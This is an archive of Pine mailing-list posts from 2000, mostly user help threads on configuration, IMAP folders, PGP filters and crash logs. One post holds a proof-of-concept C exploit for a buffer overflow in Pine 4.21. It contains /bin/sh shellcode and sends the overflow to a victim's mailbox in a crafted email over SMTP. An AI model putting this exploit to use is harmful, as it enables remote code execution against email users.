what you describe will work if your POP mailbox is an Incoming Folder, but
not if it's defined as your primary INBOX.

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>From: Walt Smith <[email protected]>
>These controls are not Pine-dependent, but are really emulator-specific.
>I don't know if it's possible to remap emulator keystrokes in your setup,
>but this is about the only way you'll accomplish what you want.

How is this emulator specific? The original questioner was talking about
the pico keystrokes. (I presume it's still pico keystrokes even in the
headers.. I turned on the alternate editor as fast as I could when I started
using pine. It would be torture if I had to use pico.)

>From: Eduardo Chappa <[email protected]>
>*** Walt Smith ([email protected]) wrote in the pine-info list
>about "Syntqax for inbox entries in pinerc or .pinerc files" today:
>
>:) Is there any way to include the password in these entries so as to avoid
>:) having to type them in when I want to access a remote mailbox? For
>If this were possible it would be very unsecure, as the password would be
>in plain text, for anyone to read, the syntax does not support this, what

Yikes.. Why does the .pinerc have world-read privs?
30 -rw-r--r-- 1 mattack users 15025 Sep 6 14:54 .pinerc

If *I* have read privs on the file, doesn't pine then run as my userid?
So if I chmod o-r .pinerc, wouldn't it _not_ be insecure? At least people
couldn't casually read the password.

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*** Matt Ackeret ([email protected]) wrote in the pine-info list about "Re:
PINE-INFO digest 879" today:

:) >If this were possible it would be very unsecure, as the password would be
:) >in plain text, for anyone to read, the syntax does not support this, what
:)
:) Yikes.. Why does the .pinerc have world-read privs?
:) 30 -rw-r--r-- 1 mattack users 15025 Sep 6 14:54 .pinerc
:)
:) If *I* have read privs on the file, doesn't pine then run as my userid?
:) So if I chmod o-r .pinerc, wouldn't it _not_ be insecure? At least people
:) couldn't casually read the password.

It would still be insecure, if you ever leave your computer unattended,
your password will be there for any one to see, while you come back. It
has to be encripted.

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On Fri, 15 Sep 2000, Eduardo Chappa wrote:
>It would still be insecure, if you ever leave your computer unattended,
>your password will be there for any one to see, while you come back. It
>has to be encripted.

But you can say the same thing about leaving pine running.. it's "insecure"
since someone could come up and read your mail.

Or basically any computer running in an office building unless people
lock their accounts/log out every single time they leave their desk.

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*** Matt Ackeret ([email protected]) wrote in the pine-info list about "Re:
PINE-INFO digest 879" today:

:) On Fri, 15 Sep 2000, Eduardo Chappa wrote:
:) >It would still be insecure, if you ever leave your computer unattended,
:) >your password will be there for any one to see, while you come back. It
:) >has to be encripted.
:)
:) But you can say the same thing about leaving pine running.. it's "insecure"
:) since someone could come up and read your mail.
:)
:) Or basically any computer running in an office building unless people
:) lock their accounts/log out every single time they leave their desk.

Yes, you can say that. The point is not only that someone may read your
mail, is that they would have access to the computer where that e-mail is
stored. Steal all kind of information that is available to them, and all
in your name. I don't disagree with you at all, but a password may also
give them the chance to do anything they like whenever they like too.

--
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On Sat, 16 Sep 2000, Matt Ackeret wrote:

> On Fri, 15 Sep 2000, Eduardo Chappa wrote:
> >It would still be insecure, if you ever leave your computer unattended,
> >your password will be there for any one to see, while you come back. It
> >has to be encripted.
>
> But you can say the same thing about leaving pine running.. it's
> "insecure" since someone could come up and read your mail.

Basically, the idea is containment of damage. If someone got
administrative privileges on your network or computer through
unauthorized means, you should minimize the amount of information
available to him/her, despite the level of authority on the network.

Stallman has a fine book on applied crypto. There are some very
detailed descriptions of why things must be done certain ways. Take a
look at it if you care to.

Gopi.

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On Mon, 18 Sep 2000, Ben Elliston wrote:

> > Stallman has a fine book on applied crypto.
>
> Stallman? Really? Don't you mean Bruche Schenier?

My mistake. That should've been Stallings. The book is "Cryptography
and Network Security".

Sorry for the misinformation. But I'm sure Stallman does own some fine
books on crypto ;-)

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Hi,

I'm now testing pine in connection with an imapserver (courier-imap-1.0 +
qmail-1.03 + Maildirs).

How can I get an imap folder collection displayed in pine.
I tried the following:
folder-collections= imap-folder {imapserver}[INBOX.%]
imap {imapserver}INBOX[],
imap3 {imapserver}inbox.[]

It shows the folders as:
-------------------------------------------------------------------------------------
Folder-Collection <imap-folder>
-------------------------------------------------------------------------------------

INBOX.mail[.] INBOX.sent-mail[.]

-------------------------------------------------------------------------------------
Folder-Collection <imap>
-------------------------------------------------------------------------------------

mail[.]
sent-mail[.]

-------------------------------------------------------------------------------------
Folder-Collection <imap3>
-------------------------------------------------------------------------------------

mail[.]
sent-mail[.]

Selecting one of them gives an error messages for all three formats:

[Can't find Incoming Folder INBOX.sent-mail.]

Why does it say "incoming" folder?
And how do I have to define them?

The incoming folders are defined as:
incoming-folders=mail {imapserver}INBOX.mail,

And they are accessible.

Thanks,
Antje

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On Sun, 27 Aug 2000, Ben Elliston wrote:

> Return-Receipt-To:
> and Disposition-Notification-To:
>
> In many cases, remote mailers are not receipt aware and you'll get nothing.
>
I get return receipts from all people but those using pine.
(i.e.it works with Outlook, Eudora, Netscape, at least)

I found in the Pine doc files absolutely nothing about a possible
way to do that, and even nothing about the above fields.

Are the pine developpers looking forward for any making up ?
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I just recently configured my HP Windows printer to print in Linux. I use
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Just encountered an error trying to save an attachment (MS-Word document)
from INBOX (pop3) pine 3.96 (with all the header problems referred to in
previous msgs) to a file:

Formatting error: non-hexadecimal character in QP encoding: Error writing
to file

The "file" turns out to be 0 bytes.

Once I've coaxed the msg from the INBOX to mbox (I'm getting good at it!),
there is no problem exporting the same attachment to a file.

Header related or is it something else?

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I sometimes get messages with neither part being shown automatically..

Here's a bit of the header and what pine shows.

Why does this happen? It seems like usually I see _one_ of the parts
automatically. Can I make it show me one of the parts automatically?

MIME-Version: 1.0
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----------------------------------------

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I don't know, but lately, if I get a multipart message, it shows me the
Text/HTML part (HTML code and all) and calls up my browser for
Text/PLAIN. Really dumb.

> I sometimes get messages with neither part being shown automatically..
>
> Here's a bit of the header and what pine shows.
>
> Why does this happen? It seems like usually I see _one_ of the parts
> automatically. Can I make it show me one of the parts automatically?
>
>
>
> MIME-Version: 1.0
> Content-Type: multipart/alternative;
> boundary="----=_NextPart_000_0014_01BEA919.0FCF4130"
> Parts/Attachments:
> 1 OK ~36 lines Text
> 2 OK ~197 lines Text
> ----------------------------------------
>
>
> [ Part 1, Text/PLAIN 36 lines. ]
> [ Not Shown. Use the "V" command to view or save this part. ]
>
>
> [ Part 2, Text/HTML 197 lines. ]
> [ Not Shown. Use the "V" command to view or save this part. ]
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How does one export or save a messgage on unix pine from the home
directory to an outside folder. Especially one with a # namespace.

Also what kind of folder names are valid for the following namespaces
#public/ and #shared/.

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On Fri, 22 Sep 2000, M Rushwaya wrote:

> How does one export or save a messgage on unix pine from the home
> directory to an outside folder. Especially one with a # namespace.

The usual way, by pressing (S)ave. When prompted for a folder name,
you can type in {server.name}#namespace/ or {server.name}path

The path definition is vallidated by the remote server that you are
accessing.

> Also what kind of folder names are valid for the following
> namespaces #public/ and #shared/.

Talk to the administrator of the server you are contacting. In some
cases you may not need to use a namespace, but directly specify a path
instead.

For more information, read the help section in (S)etup
collection(L)ist (A)dd under the Path: field.

Gopi.

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Hey all,

I was using pine 4.21 to access my newsgroups, where I am prompted with a
password (expected behavior), however when I hit enter instead of putting
in my password, I got an "Abort Signal Received" error. Will this be
fixed in a future relaeas of pine? Is there any fix I can apply myself?

I am running freeBSD 3.4 RELEASE, and pine was built from the ports
collection.

Thanks,

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Hi!

Is there any answer for the issue addressed by Michael Ruder
<[email protected]> on 20th of Sep 1998?

I have encountered the same problem when trying to set up a sending filter
through PGP, under PC-Pine 4.21 / NT4.0:

sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

I need to run a batch file instead of directly using PGP.exe, since my
version of PGP 6.5.2 / NT4.0 does not produce standard output. It
creates instead an output file .pgp or .asc. Here is the content of
"pgpe.bat":

"C:\Program Files\Network Associates\PGPNT\PGP.exe" -ae %1 %2
rem pause
del %1
move %1.asc %1

By inserting a pause before "del %1", you can see PGP's error message:

Pretty Good Privacy(tm) Version 6.5.2
(c) 1999 Network Associates Inc.
Uses the BSafe(tm) Toolkit, which is copyright RSA Data Security, Inc.
Export of this software may be restricted by the U.S. government.

File [C:\TEMP\sfa00215] does not exist.

There is no such temporary file so there should be some bug in Pine
regarding _TMPFILE_ macro.

I decided to try with an existing file instead:

sending-filters = C:\bin\pgpe.bat C:\TEMP\myfile _RECIPIENTS_

In this case Bill calls Dr. Watson for an access violation from
pine.exe. They claim to generate an application error log but there is
nothing actually reported in "m$ Event Viewer 4.0". In the popped up
shell window PGP generates the encrypted "myfile.asc" message and my batch
moves it back to "myfile" such that Pine would be able to use it through
the _TMPFILE_ mechanism. But at this time Pine has already crashed 8^(

There is another minor bug I would like to mention here, that it is not
possible to specify a filter that resides in a path containing blank
spaces. For instance "C:\Program Files\filter.exe" cannot be installed,
either with or without quotes.

Thank you and sorry for the long story,

daniel

PS: All these are just because I feel really uncomfortable with m$
outlook. How can they fool people...

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*** Daniel Lungu ([email protected]) wrote in the pine-info list
about "PC-Pine 4.21 and display/sending filters" today:

:) I have encountered the same problem when trying to set up a sending filter
:) through PGP, under PC-Pine 4.21 / NT4.0:
:)
:) sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
:)
[lots of information deleted]

Daniel,

Your mail makes me believe that you don't understand the way filters
work. I hope my explanation will make it clearer. When you define your
sending filter to be

C:\bin\pgpe.bat _TMPFILE_

you need to make both, _TMPFILE_ your input and your output file (that is
to say, any file that is generated as the output of your script you should
rename it to be the name of _TMPFILE_). When you write

C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

it means that the _TMPFILE_ will contain a part of the headers which
includes the list of recipients, so you need to be able to delete that
part of the message before you apply your filter to _TMPFILE_, because
_TMPFILE_ won't only be the message but a little bit of extra headers. (in
another words, the filter never sees the second argument, only Pine does
and interprets it in that way)

I hope you can get your filter working, and that this helps you a little
bit.

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On Tue, 26 Sep 2000, Eduardo Chappa wrote:

> Daniel Lungu ([email protected]) wrote in the pine-info list
> about "PC-Pine 4.21 and display/sending filters" today:
>
> :) I have encountered the same problem when trying to set up a sending filter
> :) through PGP, under PC-Pine 4.21 / NT4.0:
> :)
> :) sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
> :)
> [lots of information deleted]
>
> Daniel,
>
> Your mail makes me believe that you don't understand the way filters
> work. I hope my explanation will make it clearer. When you define your
> sending filter to be
>
> C:\bin\pgpe.bat _TMPFILE_
>
> you need to make both, _TMPFILE_ your input and your output file (that is
> to say, any file that is generated as the output of your script you should
> rename it to be the name of _TMPFILE_). When you write
>

That is what I am trying in "pgpe.bat":

del %1
move %1.asc %1

> C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
>
> it means that the _TMPFILE_ will contain a part of the headers which
> includes the list of recipients, so you need to be able to delete that
> part of the message before you apply your filter to _TMPFILE_, because
> _TMPFILE_ won't only be the message but a little bit of extra headers. (in
> another words, the filter never sees the second argument, only Pine does
> and interprets it in that way)
>

The second argument _RECIPIENTS_ does not stand for an output file. It
is the user id whose public key PGP will encrypt the content of
_TMPFILE_ to.

I did not know that _TMPFILE_ contains headers and not only the
message. However, removing headers would not prevent Pine from
crashing.

Meanwhile I found a new flag '-f' that I can pass to PGP to get
a non-interactive (Unix-like) behaviour, i.e. reading from stdin and
writing to stdout (CON:).

So, now I set my sending filters as follows:

sending-filter = C:\bin\PGP.exe -fae _RECIPIENTS_

Unfortunately Pine still crashes...

It crashes as well when I am trying to read an encrypted message:

display-filters = _BEGINNING("-----BEGIN PGP")_ C:\bin\PGP.exe -f

> I hope you can get your filter working, and that this helps you a little
> bit.
>
> --
> Eduardo
> http://www.math.washington.edu/~chappa/pine/
>

My filters still do not work as Michael Ruder already pointed out.

By the way they are just fine with my Unix PINE 4.21 on DEC

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On Tue, 26 Sep 2000, Daniel Lungu wrote:

> sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

I tried something similiar a while back, my impression is that PC-Pine
uses a wrong way to call external programs, so they don't wait for its
termination, but start them as another background process.
That's the very reason why the tempfile is already gone when the batch
file has been started.

If it is even possible, that pipes work OK in a WinNT GUI application, I
don't know.

However, because the source code is not available to the public, it's hard
to tell, if it's true.

Bye,

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Hi again!

I have tested the simplest filter I can think of, that is cat-like:

sending-filter = C:\WINNT\system32\CMD.EXE /C type

Though Pine crashes and Dr. Watson reports:

pine.exe
Exception: access violation (0xc0000005), Address 0x77f6754b

Finally I found doctor's log that is in C:\WINNT\drwtsn32.log. Here is
a fragment from the tail of my log file:

Application exception occurred:
App: (pid=241)
When: 9/27/2000 @ 10:11:15.46
Exception number: c0000005 (access violation)

*----> System Information <----*
..
User Name: lungu
Number of Processors: 1
Processor Type: x86 Family 6 Model 7 Stepping 3
Windows Version: 4.0
Current Build: 1381
Service Pack: 6
..

*----> Task List <----*
0 Idle.exe
2 System.exe
..
241 pine.exe
245 CMD.exe
228 CMD.exe
215 DRWTSN32.exe
..

State Dump for Thread Id 0xe0

eax=00000020 ebx=7ffdf000 ecx=7ffde000 edx=00000020 esi=00000000
edi=01604730
eip=77f6754b esp=0012d9c0 ebp=0012ddfc iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
efl=00000202

function: RtlEnterCriticalSection
77f67540 648b0d18000000 mov ecx,fs:[00000018]
fs:00000018=????????
77f67547 8b542404 mov edx,[esp+0x4]
ss:0145c3c7=????????
FAULT ->77f6754b 837a1400 cmp dword ptr [edx+0x14],0x0
ds:0132ea26=????????
77f6754f 754f jnz RtlEnterCriticalSection+0x60
(77f675a0)
77f67551 90 nop
77f67552 ff4204 inc dword ptr [edx+0x4]
ds:0132ea26=????????
77f67555 7519 jnz RtlEnterCriticalSection+0x30
(77f67570)
77f67557 8b4124 mov eax,[ecx+0x24]
ds:8130ca06=????????
77f6755a 89420c mov [edx+0xc],eax
ds:0132ea26=????????
77f6755d c7420801000000 mov dword ptr [edx+0x8],0x1
ds:0132ea26=????????
77f67564 33c0 xor eax,eax
77f67566 c20400 ret 0x4
77f67569 2e8bc0 mov eax,cs:eax
77f6756c 2e8bc0 mov eax,cs:eax

*----> Stack Back Trace <----*

FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name
0012ddfc 00554439 014da590 00000000 014e1f50 004028ba
ntdll!RtlEnterCriticalSection
0012e27c 00551369 014e5e10 014e5cb0 014e5ec0 0012f1c4 !<nosymbols>
0012f2cc 0054a445 014e5cb0 0012fc68 006ca288 00000000 !<nosymbols>
0012fc98 00549412 00000000 00000000 00000000 00000000 !<nosymbols>
0012fcbc 00530e73 014c8080 00402f0e 014d00f0 00008002 !<nosymbols>
0012ff00 00598d6c 00000001 014d0d90 0492e198 00000000 !<nosymbols>
0012ff34 0060b804 00400000 00000000 00133760 00000001 !<nosymbols>
0012ffc0 77f1b9ea 0492e198 77c440e0 7ffdf000 c0000005 !<nosymbols>
0012fff0 00000000 0060b724 00000000 000000b0 00000100
kernel32!GetProcessPriorityBoost
00000000 00000000 00000000 00000000 00000000 00000000 !<nosymbols>

..

State Dump for Thread Id 0xef

eax=77c5d873 ebx=017dfdbc ecx=00137680 edx=00000000 esi=7ffdf000
edi=017dfddc
eip=77f682cb esp=017dfd98 ebp=017dfdec iopl=0 nv up ei pl nz ac pe
cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
efl=00000213

function: NtWaitForMultipleObjects
77f682c0 b8c4000000 mov eax,0xc4
77f682c5 8d542404 lea edx,[esp+0x4]
ss:02b0e79f=????????
77f682c9 cd2e int 2e
77f682cb c21400 ret 0x14
77f682ce 8bc0 mov eax,eax

*----> Stack Back Trace <----*

FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name
017dfdec 77e79de5 00000001 017dfe14 00000000 00001bb8
ntdll!NtWaitForMultipleObjects
017dfe48 77e79e31 00000000 017dfe8c 00001bb8 000000ff
user32!MsgWaitForMultipleObjectsEx
017dfe64 77c4c658 00000000 017dfe8c 00000000 00001bb8
user32!MsgWaitForMultipleObjects
017dffb8 77f04ede 00000000 77f8f219 00000004 00000000
shell32!SHAppBarMessage
017dffec 00000000 00000000 00000000 00000000 00000000 kernel32!lstrcmpiW
00000000 00000000 00000000 00000000 00000000 00000000 !<nosymbols>

Think this is not really usefull, but maybe Pine developers
will look at it and check their crash log against.

Thanks for listening,

Daniel Lungu

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/*############## ##### ###### ## # ## # # # # # #
# #
# PINE Exploit 4.21 [ bTm ] #
# #

Proof of Concept: Pine 4.21

There exists a vulnerability in Pine 4.21 involving the
portion of code in charge of peroidically checking email
when a pine client is open.

Run pine in one window, then send an email to the account
owning that session. Switch back over and hit [Control+L]
(to check your mail).

Woohoo!

now open the core up in gdb:

#2 0x40084098 in abort () at ../sysdeps/generic/abort.c:139
#3 0x817470c in strcpy () at ../sysdeps/generic/strcpy.c:43
#4 0x8137f82 in strcpy () at ../sysdeps/generic/strcpy.c:43
#5 0x8158760 in strcpy () at ../sysdeps/generic/strcpy.c:43
#6 0x40082c28 in __restore ()
at ../sysdeps/unix/sysv/linux/i386/sigaction.c:127
#7 0xe7e2bfff in ?? ()
Cannot access memory at address 0xe7e2bfff.

Oops, my alignment could use some work.

Hello's : Mega,Loki,Lamagra,and zen-parse.

BTW: this is broken, you have to figure it out on your own how
to smuggle the shellcode in.

Any real Pentester can get this working fairly quickly.

Just be polite, don't forget to say HELO!

Arkane [bTm]

######### ### # ## # # ## # # ## # # # # # # # ### ## ## */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define ADDRLEN 700
#define EXECLEN 1000
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
char helo[100];
char mail[100];
char rcpt[100];
char data[2500];
char start[20];

int offset = 0;
unsigned long addr;
int i;
char *addrs,*exec;

addrs = (char *) malloc (ADDRLEN);
exec = (char *) malloc (EXECLEN);

if(argc < 2)
{
printf(" Usage: %s <Email Address> <offset>\n", argv[0]);
printf(" \n\n");
exit(0);
}

if (argc == 3)
offset = atoi (argv[2]);

//addr = get_sp () - offset;

addr = 0xbfffe7e2; //RH62

memset(addrs,0x41,ADDRLEN);

// for (i = 0; i < ADDRLEN ; i += 4)
// *(unsigned *) &addrs[i] = addr;

// memset(exec,0x90,EXECLEN);

// memset(addrs+195,0x90,5);

// memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
printf ("Could not resolve mail.speakeasy.org.\n");
exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Error");
exit(1); }

server.sin_family = AF_INET;
server.sin_port = htons (25);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);

if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1)
{
printf ("Connection refused\n");
exit(1); }

sprintf (helo, "helo test\r\n");
sprintf (mail, "mail from: %s\r\n",argv[1]);

send (s, helo, strlen (helo), 0);
send (s, mail, strlen (mail), 0);

sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);

send (s, rcpt, strlen (rcpt), 0);

sprintf(start,"data\r\n");

send (s, start, strlen (start), 0);

fprintf(stderr," Message Sent! \n");

sprintf(data,"From: %s AAAAAAAA
[email protected]\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
send (s, data, strlen (data), 0);

close (s);
exit(0);
}

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------
D r e n i k N e t w o r k s / Y u g o s l a v i a

Luka Z. Gerzic
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Is there a patch for the multiline header bug on pine 4.21?

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From: Gopi Sundaram <[email protected]>
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Subject: Re: Multiline header bug
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On Thu, 28 Sep 2000, Francisco Arias wrote:

> Is there a patch for the multiline header bug on pine 4.21?

What bug? I've only noticed problems when a defective MUA sends a
header with a line so long that instead of wrapping it, the MUA adds a
newline.

Have you noticed Pine do this as well?

Gopi.

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From: Francisco Arias <[email protected]>
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I'm refering to the "UW c-client library vulnerability" that
appears on september 1st on this list and bugtraq. I have not heard about
a patch for this.

fjac

On Thu, 28 Sep 2000, Gopi Sundaram wrote:

> On Thu, 28 Sep 2000, Francisco Arias wrote:
>
> > Is there a patch for the multiline header bug on pine 4.21?
>
> What bug? I've only noticed problems when a defective MUA sends a
> header with a line so long that instead of wrapping it, the MUA adds a
> newline.
>
> Have you noticed Pine do this as well?
>
> Gopi.
>
> --
> Gopi Sundaram
> [email protected]
>
>

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Recently, the FreeBSD security team decided to mark the Pine port as
FORBIDDEN, due to a high suspiscion of buffer-overflow problems (e.g.,
grepping the source for strcpy and friends), and the history of related
programs. This move has been dicussed lengthily on the freebsd-security
mailing list, and some ideas that have come up talk concern the licensing
of Pine, which may limit the ability of developers to share developments
in an Open Source fashion.

My question is this: has there been any thought given to the prospect of
licensing Pine under a dual license: its current license, and the GPL?
As far as I can tell, The GPL is a "tighter" license than the current one,
so it would not give away any owernship problems UofW would be concerned
with. Providing Pine under the GPL, a highly standardized license, would
solve any concern about validness of Pine as Open Source or Free Software.

This may become more and more of an issue as people wishing to maintain
Pine outside of UofW try to fix security issues in the Pine package.

Pine is, of course, highly popular due to it's user-friendliness and
interface-design, and I would hate to see it diminish because simply of
licensing problems.

Perl simillarly does a dual-licensing; it distributes under both the
Artistic (a fairly liberal license) and the GPL (a tighter license); the
end-user can choose which license to apply.

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Frank Tobin http://www.uiuc.edu/~ftobin/

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